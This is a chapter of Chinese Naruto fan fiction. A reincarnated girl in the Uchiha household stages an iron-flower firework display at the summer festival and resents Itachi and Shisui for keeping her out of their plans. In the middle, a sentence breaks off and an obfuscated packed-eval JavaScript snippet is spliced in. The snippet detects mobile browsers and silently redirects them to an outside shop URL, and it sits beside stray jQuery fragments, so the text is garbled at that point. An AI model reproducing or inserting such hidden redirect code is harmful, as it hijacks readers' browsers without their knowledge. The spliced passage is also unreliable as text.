夏天的雨有些幼稚,它喜欢随手挥下几滴,给阳光打过滚的地面降一降温,然后慵懒地看着地上的行人——要是他们带了伞,那它就不来;要是没带,它便会毫不客气扑过去。
凶猛至极,有时直扑得对方摔到在地。
好一个乌鸦坐飞机。
而且似乎尤为喜欢那些冒雨狂奔的人。因为白愉安到家时,它又不下了,徒留下窗外雾蒙蒙的世界为下一次进攻做准备。
其实最开始的两滴理解为一种提示也不为过呢?白愉安浑身湿漉漉地站在玄关处,无语凝噎。
“我回来了!”
美琴匆忙拿着一条毛巾来到她身边,仔细地拂去身上看见或看不见的雨。白愉安眨眨眼,侧脸蹭了蹭已经变得潮湿的毛巾,引得美琴有些不高兴。
“还笑的出来?没摔伤是该庆幸,但淋成这个样子的是谁啊?”
“真是的,早上说了让你带一把伞…”美琴伸出一根手指点点她的额头,“怎么会忘记呢…”
细微的动作,却点的她面上那副黑框眼镜上覆着的水向下划聚成束。
最先发现她近视的是佐助,只因她误将视野中的黑色塑料袋视做黑色小猫。不多时,全家都知道了这个消息,然后由美琴带她去配了这副眼镜。
白愉安幼时看书不少,对电子产品也很是痴迷,所以眼睛的度数更是小小年纪便一骑绝尘。可她不敢说,怕说了之后书和电子产品都被没收。十一岁某天突然被姐姐和父母抓去配眼镜。
测完之后确实被训了——因为度数高达一百五她还藏着不说,怕万一哪天看不清在路上给她摔了。事后东西没有被没收,于是她直接放肆,最终于二十一岁斩获两眼各七百度加上二百度散光的傲人战绩。
【三米之外人畜不分,我觉得鼬临死的时候度数应该没我高。这,就是实力。】
毕竟在她眼中,人影因高散直接瘦成一根杆,相比于只是看不清佐助的鼬而言……着实厉害得很。不过话说回来,她真的很想看看他们戴眼镜的样子。
137:【……】
真给她骄傲上了。
镜片上浸润了雨的气息,但不曾模糊美琴温柔的笑。
这雨来的猛而急,猛到短短几分钟边让白愉安浑身湿透并摔了一跤,急到发现她没带伞的美琴刚准备出门去接便看到了回来的她。
白愉安笑着吐了吐舌头,将镜片在毛巾上蹭了蹭:“天有不测风云嘛,我以为它不想来的。”
听完白愉安辩解的美琴忿忿地捏了捏她的脸,催她去换衣服,仿佛多一秒她就会感冒一般。
她们这边的氛围是温馨日常,另一边却是让人如坐针毡。
白愉安换好衣服,顶着一条崭新的毛巾在木廊上悠哉踱步。时而伸手,虚虚去抓院中那朦胧雨雾——自然是抓不到的。
屋内的声音慢慢静了下来,于是她听到了富岳的呼喊。
“进来吧。”
白愉安抿唇笑了笑,推开门跪坐在佐助身旁,和鼬一左一右将他夹在了中间。
她微微向前侧身,看了看表情凝重的鼬和如芒在背的佐助,然后看着富岳手中的成绩单开口对富岳笑道:“这成绩不比我强多了?您就夸夸他呗?”
“身为宇智波家的男儿,在这点上他比鼬还差的远。”
“可当初您就没这么对我说过,我可以认为这是性别歧视吗爸爸…”
被她这么一搅和,方才凝重的氛围已然缓和不少。富岳似乎对她这一言颇为不赞同,但又确实无法辩驳,只得干巴巴道:“没有…”
“那您夸一下嘛。”
“父亲,我觉得小白说的很对。”鼬应和道,“您应该夸一下佐助。”
于是两人中间那双清澈的黑眸越来越亮,引得富岳不得不正面应对这份期待。
“做的很好。”他轻咳一声,言简意赅。
选择性地忽视掉小儿子眼中的欢呼和雀跃后,富岳看着白愉安道:“那么你来这里是想做什么?”
“这个嘛…”她举起一只胳膊,仿佛上课被老师点名回答问题那般,“夏日祭快到了,我今年想加个节目,希望您能同意。”
“什么节目?”
“就是把铁烧到融化,借由木头将铁水向上击打到有枝条装饰的棚上,然后被击到半空的铁水就会炸开形成花火。”她将手规矩的落回双膝之上,总结道,“看起来就像星星落入人间,我给它取名'火树银花'。”
“灵感来自木叶的木和火影的火,以及咱们家的火遁,如何?”
“不行。”
“不行。”
一旁的佐助读不出其中内涵,颇有些期待地看着她,正欲说什么时却被兄长和父亲的否定声而生生止息,本以为这件事只得就此打住,可到底是低估了自家姐姐。
“为什么?”她追问。
“女孩子家家的,万一被烫伤怎么办?”富岳接道。
“您不同意吗?”
“不同意。”
“您这就是性别歧视…”于是她扭头看向鼬,“那鼬呢?”
“我也不同意。”
“就因为会受伤?我推算过了,铁水掉下来会冷却,只要做好防护就不会受伤。”她看着鼬理所当然道。
两边还是不肯松口,甚至一致觉得沉默是金。
“真不同意?”白愉安下达最后的通碟。
“不行。”
鼬应当是觉得过不了父亲那关她就没辙了,所以这次拒绝的只有富岳一个,然而话音刚落,对面便立刻给了他答复。
“好。”
嘴上的好应当很干脆,但这声“好”是伴着眼泪一起出来的。
不闹,只哭,总之给她委屈上了。
佐助亲眼目睹自家姐姐哭了大概五秒钟,向来寡言少语的父亲大人便改了口,同意了她这危险而任性的要求。
“…可以。”富岳不忍直视她,“但是得让鼬陪着你。”
白愉安计划通,瞬间抹掉眼泪,假装刚才什么也没发生理所当然地说道:“那把止水叫来一起。”
“……只要他们同意。”
“这好办。”她笑了笑,一边接着用毛巾擦着未干的发丝一边道,“谢谢富岳爸爸,那我先走啦~”
说完,她拉着佐助走了出去,徒留下父子二人大眼瞪小眼。
“…您就这么同意了?”鼬问道,“她这个灵感涉及木叶和宇智波…”
“有些危险。”
“嗯,我知道。”富岳道。
鼬看着父亲胜券在握的样子,以为他有什么高招,谁知张口便说出了让他沉默半天的话。
“所以在夏日祭开始前,由你们劝她。”
毕竟他是真的应对不了…
“学会了没?下次哭一下就行。”门外再次响起那个让他应付不来的声音。
“只要会撒娇,爸爸和鼬有求必应。”
鼬:“……”
富岳:“……”
好在自家小儿子当即立下斩钉截铁地拒绝了,不至于让他日后再多一个应付不来的人。
不愧是宇智波男儿。他想。
鼬明白了父亲的意思,可是……
“…其实您一旦同意,就算我和止水还有卡卡西桑一起劝都没用的。”
可是他就应付的来吗?
而且一旦同意就算父亲后面再否定也没用。一来父亲一言既出驷马难追的性格就不可能再给出不一样的答案,二来就算退一万步讲,父亲反悔的话说出来了,对面都不一定听。
甚至可能再哭。
所以您一开始就拒绝才是最好的解决方法。
鼬看了看富岳,默默把最后一句话咽了回去。
事实证明他说的是对的。鼬不知道她用了什么方法,总之某日任务过后,三个人于一处空地聚首。
她的文化课向来很好,虽然灵感有些危险,但当日听到大体过程时鼬也着实被惊艳了一下,现下看着她解说原理滔滔不绝的样子…
他向止水投去求助的目光。
“嗯…”止水摇了摇头,示意他算了。
“听懂了?那先敲石头,然后换沙子…待会我来验收成果。”
她向着二人递过去两对柳木棒。
“我记得…”白愉安摸了摸下巴,迎着鼬的目光继续说道,“佐助是不是会吹笛子来的?”
“他应该也不希望哥哥姐姐做事不带着他吧?”
止水哭笑不得地揽着鼬的肩膀,生怕挚友会不小心背晕过去,为了转移他的注意力还顺手撩了一把他的马尾。
算了。鼬妥协了。
——————
等到夏日祭当晚,白愉安看着这几日一遍遍练习曲子的佐助无比欣慰,有种吾家有女初长成的感慨。
打铁花就是应该配《浮光》食用!
东风夜放花千树,更吹落,星如雨。
高温之下的铁水泛着耀眼的红,盛于柳木之中,随着跳跃击打触及棚架柳条,又在空中绽放出朵朵细腻而璀璨的火花。
一如满天繁星洒落人世,是不必抬头触手可及的繁华。
长笛见月,引着清脆鸟啼声划破夜空,奏于第一朵铁花绽放之时,伴着烫金的笔墨书写在流动如水、深沉如墨的夜色中,意境苍茫悠远。所谓浮光跃金,静影沉璧,台下人分明不知曲中意,却又纷纷潸然泪下。
明明当年说好木叶飞舞之处,火亦生生不息。可最后约定的双方均没有经受住时间的洗礼,将“木叶”和“火影”一词的由来埋葬于历史的黄沙之下。
铁花配合曲调击打,一下一下,是为轻舟终过万重山。
佐助从来不会让人失望。
但另外两人就不一样了。
白愉安脸上笑容不减,目光却兀自沉了沉。
周围响起此起彼伏的欢呼声,为这场视觉盛宴而雀跃。
“如何?”最后一朵铁花止息,白愉安敲完后就此停住了手,立在原地笑看他们。
也在问137和74。
【独属于中国人的浪漫,喜欢吗老师们?】
此时的她没有戴眼镜,于是视野中两人的面容有些模糊,可这不影响对面看她。没有镜片遮挡的眼眸中映着千朵火花烂漫,濛濛细雨闪烁间散落在她的肩膀上,少女一副桃花面,笑意靥靥,上面伏着点点薄汗,火光映衬之下绚烂夺目。
可她并没有继续等他们说出答案,反而旋身拉着佐助如风般轻巧跑了下去,扑进美琴怀中。
“好看吗美琴妈妈!”
“很好看哦~”美琴摸摸她的头笑道,“没有受伤吧?”
“没有没有~”
“这首曲子,我听佐助说…”富岳看着她,虽有些愁闷,但也是笑着的。
“是在梦里听到的~”
行于当下,前世的种种于她而言确是一场梦,一场让她将浪漫刻进骨子里、让她惟愿长醉不愿醒的美梦。
她笑嘻嘻道,“还是多亏了佐助吹得好,不然让我上今天就完了。”
话里话外都是暗示,牵着富岳去夸赞自己的小儿子。
他和止水转身看着她,看她对着佐助的脸胡乱揉弄一通,看她转身噙着笑重新与他们对视,彼此间相顾无言。
后来“火树银花”成了木叶夏日祭新兴的传统。
后来她不在的几年间,每逢夏日祭,他和止水都会回想起这一幕,然后不住思索当时的假如。
蓦然回首间,再也见不到那笑意盈盈的人。
一如此中真意,欲辨忘言。
——————
那场几乎整个木叶为之欢呼“火树银花”并没有对宇智
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17880871|212450||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
波和木叶矛盾的缓和起到太大作用。
甚至有人过度解读,认为宇智波想要凌驾于木叶之上,因为火花是在柳枝上绽开。
出主意的是她,议论声归了宇智波,而她和佐助则被家里人保护得死死的,和事情脱的干干净净。
两名少年面上愁容更深了。
那天的黄昏,是她最后一次带着年幼的佐助去找二人。
她看止水神秘兮兮地勾住佐助的脖子,骗他说在和鼬比谁更厉害。于是她最后一次带着请求的目光看向鼬——然后被对面不动声色地躲开了。
最后一次…
最后一次。
佐助手脚并用一蹦一跳的和鼬往回走着,白愉安没有跟上去,反而目光灼灼和止水对视。
她知道此时的止水想的是要好好保护这份美好。
“出了什么事吗?”
如果…如果愿意告诉我…
“没事的。”止水说。
啊…看来不行呀…
“我和小鼬会解决好,放心吧。”
脑袋又被揉了揉,白愉安垂下眼睫,没有立刻回答。前面的鼬和佐助已然停下了脚步,在等她。
无法改变。
蚍蜉撼树,不自量力。人物不曾亦不该偏离,纵然身入局,她也只是一个过客,何况现在两人不愿让她入局。不过也是,单凭平日的只言片语又怎么可能轻易改变一个人。何况是SS世界管辖之下的两个贤值为十的人。
在这个吃人的世界,生命贱如草芥,不值一提。
一遍遍惜命的嘱托,在白愉安瞧不上眼的火之意志面前也不值一提。
“…嗯,我相信你们。”她向前走了几步,背对着止水轻声说道,“放手去做吧。”
既然如此,那就大胆去做吧。
反正有我兜底。
夏日祭的火树银花,抛开那场视觉的盛宴,抛开在木叶看来宇智波可有可无的友善与忠诚,她到底想说什么呢?
滚烫的铁水表面覆着一层致密的氧化外壳,可却又与内部的铁借由一氧化碳而还原,随后再次被氧化,周而复始,相互循环。而后随着敲击,表层的氧化铁因无法约束愈来愈多的一氧化碳,所以液滴爆裂,炸出铁花。
她把原理讲的明明白白,其实不过想说——
我知道的。
一切都知道。
所以请不要忽视身边的人。
她这人不喜欢藏藏掖掖,所以当初会在被发现能力时坦然回应,但有时候、有些事真的不能明说。
对面也挺累的了,摆明面上说只会徒增烦恼而已。她从小作为被保护的那个,对此深有感悟。
于是她特地用纸包了火,借那一下下的锤击,一次次升空炸开的铁花,只为一遍遍地告诉他们——我知道的。
可对面又读懂“铁”的含义了吗?
开玩笑,那可是宇智波鼬和宇智波止水,纵然她这含义表达的隐晦了些,纵然别人会因不了解她顶多解读出是宇智波借此向木叶的示好,纵然所有人都读不懂这份请求——但他们又怎么可能想不到这是她希望能够掺入他们的计划中的殷殷诉求。
从练习时听她解说原理时无声的眼神交流到事后也不曾有过的试探和询问来看,他们绝对是读懂了。
但是不能懂,或者说不同意。
所以总是说没事,自始至终都不曾把她放在一个对等的位置。
哦,是不愿意。
她理想中的结果应当是“蓦然回首,那人却在灯火阑珊处”,可现实却让她意兴阑珊。
好吧,至少有阑珊二字。
哪怕她光明正大地对着二人说警卫队可以如何如何改善一下,这样有利于得到民众的认同。
结果意见采纳了,效果也很好,可就是不带她,拒绝她妄图掺和进木叶和宇智波事情的可能性。
【小安…】
【说实话,以我的过往经历而言,这种行为简直就是在狠狠地唤醒我的PTSD。】她制止137的话说出口,【要不是因为是他们,我早就上去梆梆给对方两拳了。】
【不过算了,不被轻易改变才是他们,这点来看,世界规则还挺好。】
但她想不明白,当初被姐姐瞒着是因为能力不够,可现在她的能力是够的,为什么这两人还是不肯信她。
可她真的不明白吗?也不是,只是闹脾气说两句而已,毕竟从小就喜欢了,他们行事的底层逻辑她还是摸得透的。
火之意志嘛…虽然在她看来就是洗脑用的。别看她平时这块内容背的很溜答卷也棒,实际上让她真的去做个服从性测试,白愉安保证自己可以拿零分——毕竟从小的生长环境注定了她面对这种情况必然一身反骨。
说是反骨上长了个人也不为过。
天才少年们从小习惯了背负,习惯了将自己认知中的弱小美好护在身后,哪怕现实是所谓“弱小美好”大声嚷嚷要跟他们并肩作战,共同面对,他们也会选择性看不见。
虽然从最初她就打算舍弃宇智波白的身份,但终归是希望改改他们这有些无理的性格。只是可惜两人间的关系好的太过分了——旁人根本没有插足的可能。那么现在,对于一次次忽视宇智波白请求的他们——
没关系,她另起炉灶得了呗。
理科生嘛,思维灵活一点。一条路走不通、这个方法做不出成果…那就换。反正她从事科研事业多年,最不缺的就是不懈钻研的探索精神。
她只需要由反应物制得生成物就行了,可走的路多的是——甚至反应物都不一定全部用上。
呵呵,著名的盖勒特原理。
呸,盖斯定律。
大男子主义,大家长制度,说一不二的态度…
去你丫的。
我白愉安今天就是要打响反帝反封的第一枪。